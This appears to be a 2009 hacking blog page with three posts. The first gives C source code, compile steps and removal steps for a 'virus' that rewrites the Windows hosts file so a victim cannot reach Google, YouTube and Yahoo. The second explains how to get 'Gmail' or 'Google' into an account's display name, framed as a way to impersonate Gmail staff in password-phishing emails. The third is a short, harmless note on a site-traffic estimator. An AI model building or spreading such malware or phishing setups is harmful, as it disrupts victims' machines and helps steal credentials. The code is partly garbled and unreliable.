Monday, August 10, 2009

CREATE COMPUTER VIRUS WHICH BLOCK WEBSITES

Today I will show you how to create a virus using the c lang this is the basic language that every one knows mostly.First i will tell you how to compile the c programs so that u can compile the c virus.I will show to how to make a simple virus to block the websites.

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

#include
#include
#include

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)>

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1—————————google.com

5. Delete all such entries which contain the names of blocked sites.

How to install Borland C++ compiler

1. Download Borland C++ compiler 5.5 (for Windows platform) from the following link.

http://www.codegear.com/downloads/free/cppbuilder

2. After you download, run freecommandlinetools.exe. The default installation path would be

C:\Borland\BCC55

How to configure Borland C++ compiler

1. After you install Borland C++ compier, create two new Text Documents

2. Open the first New Text Document.txt file and add the following two lines into it

-I”c:\Borland\Bcc55\include”

-L”c:\Borland\Bcc55\lib”

Save changes and close the file. Now rename the file from New Text Document.txt to bcc32.cfg.

3. Open the second New Text Document (2).txt file and add the following line into it

-L”c:\Borland\Bcc55\lib”

Save changes and close the file. Now rename the file from New Text Document (2).txt to ilink32.cfg.

4. Now copy the two files bcc32.cfg and ilink32.cfg, navigate to C:\Borland\BCC55\Bin and paste them.

How to compile the C source code (.C files)

1. You need to place the .C (example.c) file to be compiled in the following location

C:\Borland\BCC55\Bin

2. Now goto command prompt (Start->Run->type cmd->Enter)

3. Make the following path as the present working directory (use CD command)

C:\Borland\BCC55\Bin

4. To compile the file (example.c) use the following command

bcc32 example.c

5. Now if there exists no error in the source code you’ll get an executable file (example.exe) in the same location (C:\Borland\BCC55\Bin).

6. Now you have successfully compiled the source code into an executable file(.exe file).

NOTE: The above tutorial assumes that you’ve installed the compiler onto the C: drive (by default).

Wednesday, August 5, 2009

VULNERABILITY IN GMAIL

Gmail is one of the major web mail service provider across the globe. But as we all know Gmail still carries that 4 letter word BETA. Sometimes we may wonder, why Gmail is still in the testing stage even after years of it’s emergence. Here is one small reason for that.
Gmail follows a strict rule that doesn’t allow it’s users to have their first or the last name contain the term Gmail or Google. That is, while signing up for a new Gmail account the users cannot choose a first or last name that contains the term Gmail or Google. You can see this from the below snapshot.

Google or Gmail cannot be used as first or last name

This rule is implemented by Gmail for obvious reasons, because if the users are allowed to keep their first or the last name that contains the term Gmail or Google, then it is possible to easily impersonate the identity of Gmail (or Gmail Team) and engage themselves in phishing or social engineering attacks on the innocent users. This can be done by simply choosing the first and last name with the following combination.

First Name        Last Name
Gmail                       Team
Google                     Team
Gmail                       Password Assistance 
From the above snapshot we can see that, Gmail has made a good move in stopping the users from abusing it’s services. However this move isn’t just enough to prevent the malicious users from impersonating the Gmail’s identity. Because Gmail has a small vulnerability that can be exploited so that the users can still have their name contain the terms Gmail or Google. You may wonder how to do this. But it’s very simple.
1. Login to your Gmail account and click on Settings.
2. Select Accounts tab
3. Click on edit info
4. In the Name field, select the second radio button and enter the name of your choice. Click on Save Changes and you’re done!
Now, Gmail accepts any name even if it contains the term Google or Gmail. You can see from the below snapshot
gmailhack

Allowing the users to have their names contain the terms Gmail or Google is a serious vulnerability even though it doesn’t seem to be a major one. This is because a hacker or a malicious attacker can easily exploit this flaw and send phishing emails to other Gmail users asking for sensitive information such as their passwords. Most of the users don’t even hesitate to send their passwords since they believe that they are sending it to Gmail Team (or someone authorized). But in reality they are sending it to an attacker who uses these information to seek personal benefits.

MEASURE THE NUMBER OF PAGE VIEWS ON ANY SITE

Statbrain is a online web stats tools that helps you guess the number of page views on any site using a combination of Alexa rank, backlink counts from Google, Yahoo and some other unknown factors.

Don’t expect it to be too accurate, but if you want a very rough estimate for any site, this could be useful.
This could be very handy for advertisers or people who are interested in measuring rough traffic on a competitor’s website.
You may also want to checkout Google Trends as they are pretty accurate.
StatBrain gives an estimate about number of visits and not unique visitors or page views.